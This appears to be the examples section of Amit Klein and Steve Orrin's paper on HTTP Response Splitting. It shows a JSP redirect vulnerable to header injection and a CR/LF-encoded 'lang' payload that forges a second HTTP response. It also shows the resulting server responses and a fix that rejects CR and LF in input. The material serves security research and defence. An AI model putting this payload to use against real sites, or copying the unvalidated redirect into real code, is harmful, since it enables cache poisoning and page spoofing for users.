HTTP Response Splitting by Amit Klein and Steve Orrin Example 1: (a) <% response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter("lang")); %> (b) HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 12:53:28 GMT Location: http://10.1.1.1/by_lang.jsp?lang=English Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with Content-Type: text/html Set-Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwB E!-1251019693; path=/ Connection: Close
This document you requested has moved temporarily.
It's now at http://10.1.1. 1/by_lang.jsp?lang=English.
Example 2: (a) /redir_lang.jsp?lang=foobar%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent- Length:%2019%0d%0a%0d%0aShazam (b) HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 15:26:41 GMT Location: http://10.1.1.1/by_lang.jsp?lang=foobar Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 Shazam Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with Content-Type: text/html Set-Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9Us S!-1251019693; path=/ Connection: CloseThis document you requested has moved temporarily.
Example 3 (a) /redir_lang.jsp?lang=foobar%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0aContent- Length:%2019%0d%0a%0d%0aShazam (b) /index.html (c) HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 15:26:41 GMT Location: http://10.1.1.1/by_lang.jsp?lang=foobar Content-Length: 0 And that the second request (to /index.html) is matched to the second response: HTTP/1.1 200 OK Content-Type: text/html Content-Length: 19 Shazam Example 4: String Lang=request.getParameter("lang"); ... if ((Lang.indexOf('\r')==-1) && (Lang.indexOf('\n')==-1)) { /* Lang does not contain CRs or LFs, so it's safe here */ /* (at least from the perspective of */ /* HTTP Response Splitting) */ response.sendRedirect("/by_lang.jsp?lang="+Lang); } else { /* handle security error (reject the request) */ ... } 3